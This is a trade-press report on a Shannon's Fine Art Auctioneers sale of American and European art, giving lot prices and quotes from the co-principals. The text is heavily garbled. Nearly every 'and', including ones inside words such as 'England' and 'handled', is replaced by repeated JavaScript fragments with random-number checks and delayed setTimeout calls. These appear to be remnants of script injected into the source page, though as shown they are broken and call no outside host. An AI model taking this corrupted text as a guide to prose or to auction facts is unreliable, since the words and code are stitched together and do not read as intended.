By: David S. Smith

MILFORD, CONN. — “Overall the sale went really well,” stated Sandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andra Germain, co-principal at Shannon’s Fine Art Auctioneers, in regard to the gallery’s fine American andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and European paintings, drawings andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and sculpture auction conducted Thursday evening, May 1. Grossing an impressive $2.5 million on 255 lots, the auction house reported a sold rate of 76 percent.

“It feels as if the art market is experiencing a rejuvenation,” said Germain. “There were a lot of new buyers coming into the gallery andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and making purchases, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and we also saw faces that we haven’t seen in a long while. We are feeling inspired andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}ands hope the rejuvenation continues.”

The auction house once again reported a strong international audience andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a plethora of phone bids. “We had 527 bidders registered for the sale, not including the 1,250 approved online bidders, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and we handom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andled over 450 phone bids throughout the evening,” commented Germain, who added, “Bidders were registered from 50 countries andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and 46 states.”

The auction opened with a Bryant Chapin still life depicting a large spread of fruit on a table. The mouth-watering scene was consigned from a private collection andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and sold well above estimate at $9,000. The next lot also handom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andily exceeded estimate, with an Albert Frances King oil depicting oranges andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a bunch of grapes selling at $11,000.

Just two lots later, the first of the fireworks erupted as a fresh-to-the-market Jane Peterson oil was offered. Coming from a private collection, the colorful “Zinnias in a Vase” was estimated at $7/10,000. Several telephone bidders competed with buyers in the room as bids came fast andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and furious. When the dust had settled, the rare Peterson sold at $50,400. An unusual gouache by Peterson was also offered. It depicted New York’s City Hall with a parklike area in the foreground filled with men in suits taking lunch on a spring day. Bidding on this lot was also spirited, with it going out above estimate at $10,000.

Another Provincetown artist, Blanche Lazzell, also commandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}anded a great deal of attention. “This is like King Tut’s tomb for P-Town collectors,” commented co-principal Gene Shannon prior to the auction. The four paintings had come from the artist’s estate andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and remained in the artist’s family until now. A classic woodcut titled “Provincetown Studios” depicted a small dory docked on a pier with a couple studios in the background. The first of the Lazzell’s to be offered, the lot soared past the $20/30,000 estimate to bring $44,400. A stylized oil on canvas was up next, “Petunias,” with similar results posted as the lot shot past estimate to sell at $45,600. “Still Life,” a scene depicting a vase of flowers andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and tableware sold between estimates at $24,000.

Four Leroy Neiman paintings were consigned from a private Florida collection. The top lot of the group, initially passed when it crossed the auction block, but selling right afterward, was Nieman’s enamel andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and acrylic on board from 1958 titled “The Gambling Set.” The painting went out between estimates, bringing $162,000.

“Leroy is pretty hot right now,” said Germain. Other works included “Toreador,” an enamel andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and acrylic on board measuring 24 by 20 inches, selling at $50,400; “Olympic Hurdlers,” 1976, did well, bringing $40,800; andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and “Olympic Ski Jump,” 1980, realized $26,400.

J.G. Brown’s painting titled “Girl with Doll” was another lot to attract a great deal of attention. The painting reflected the thorough academic training that Brown received in Englandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Scotlandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and. Brown, who emigrated from Englandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and to America in 1853, was listed as a portrait painter in 1857 in the Brooklyn City Directory. Most commonly known for his “depictions of well-scrubbed urban street urchins — especially newsboys andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and bootblacks,” Brown’s earlier academic paintings from the 1860s found a popular audience with several issued as chromolithographs.

“Girl with Doll” is a masterful work depicting a well-executed young child at the vine-covered door of her home with a doll clutched in one handom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a open umbrella in the other. Estimated at $50/70,000, the painting went out at $78,000.

The Paul Cornoyer oil “Rainy Day, New York” was another work in the sale that caught the eye of collectors. Under the wing of William Merritt Chase, Missouri-born andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Parisian-trained Cornoyer moved to New York City in 1889 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and took particular interest “in the city’s parks andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and their juxtaposition with the surrounding architecture. It is in the parks that the spirit of metropolitan life truly reveals itself,” stated Shannon’s in the catalog. The moody Tonalist work depicted a dark day with pedestrians traveling the rain-slicked shimmering city streets andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and dark carriages against the park’s backdrop. Selling at the high estimate, the painting fetched $78,000.

A coastal scene by Alfred Thompson Bricher was another lot to do well. With typical sparkling water, the image portrayed a craggy coastline with a small vessel sailing peacefully towards port. One of two Bricher’s in the auction, this scene commandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}anded a strong price of $72,000.

Op Art works did well, with a Victor Vasarely painting selling well above estimate. Vasarely, widely accepted as the “grandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andfather of the Op Art movement,” painted “Stri-Arc” in 1974 as a study of circles andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and color. Estimated at $30/50,000, the 31-inch-square painting sold at $72,000. “We had bidders from Israel, Brazil, Switzerlandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and, France, Belgium, China andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the US,” commented Germain, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and after spirited bidding, the lot went back to France.

“Young Shepardess” by Czechoslovakian artist Wenceslas Vaclav Von Brozik was offered at the tail end of the sale. The unassuming portrait of a young girl in a wooded setting watching over her flock of geese surprised many as it shot past the $5/7,000 estimate to sell for $45,600. “We had six telephone bidders andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a bunch of absentee bids for the lot, as well as Internet activity,” stated Germain. “But all of the action came from the phones, they just went crazy over it.” Von Brozik was described as a greatly admired Czechoslovakian artist whose works rarely surface. “We had six bidders on the phones from all over Czechoslovakia andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and one person with Czech heritage that lives in the US. Despite serious attempts to repatriate the painting, the US bidder won out on the lot.”

One of the few “breathers” that have found favor at Shannon’s is Lawrence Campbell, whose Wigginish New York City Impressionist street scenes always commandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and premium prices. “This is one of his best” was the way auctioneer Gene Shannon described the large oil titled “Wall Street.” The painting was well received, selling at $45,600.

During Shannon’s previous auction two monumental views of Niagara Falls by Ferdinandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Richardt brought premium prices. That prompted a smaller view of the falls by Richardt to make its way to the market. Consigned from a private Florida collection, the paining carried a $9/12,000 estimate andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and went out at $18,000.

Known for its large selection of Rolph Scarlett works, Shannon’s opted to limit the selection for this sale, concentrating only on exceptional works by the artist. An untitled “drip” painting by Scarlett led the assortment of works, with the 30-by-40-inch oil on canvas bringing $24,000.

Dating 1982, a mixed media on newsprint by Paul Thek was on offer. “He strictly painted on newsprint,” stated Shannon prior to the auction of the blue hued abstract. Predicting a strong price for the painting, Shannon commented that there had been a great deal of presale interest. The unusual work sold at $26,400. “The Thek was pretty rare, his works do not show up at auction very often andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and lots of works on newsprint tend to disintegrate. This one was in excellent condition,” said the auctioneer.”

An ink andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and acrylic on paper from 1980 by Chinese artist Chao Chung-Hsiang also did well, bringing $21,600 from a phone bidder in China. Germain commented that the work had been gifted to the consignor by the artist while he was living in New York City.

Works by Hawaiian artist David Hitchcock have been enjoying a popular upsurge. A small oil, “Kilauea Erupting,” measured 9 by 17 inches, sold well above the $10/15,000 estimate at $27,600.

Another work of interest was a large double-sided monochromatic watercolor by Reginald Marsh. Both views featured a shapely woman passing in front of a tavern with other figures in the background. Dated 1946, the painting brought $19,200.

A selection of sculpture was offered, with Louise Nevelson’s painted wood composition “Cryptic XXX” finding a receptive audience. Nearly doubling the estimate, the unusual black painted work with inset mirrors sold for $28,800. “Nevelson gained inspiration for the found-wood sculptures on Monhegan after viewing the Hermit’s Driftwood Shacks across the harbor on Manana Islandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and,” explained Germain. Fittingly, the rare work sold to the Monhegan Museum, thanks to anonymous donors.

Prices reported include the buyer’s premium. Consignments for the fall auction are currently being accepted. For further information contact Shannon’s at 203-877-1711 or www.shannons.com.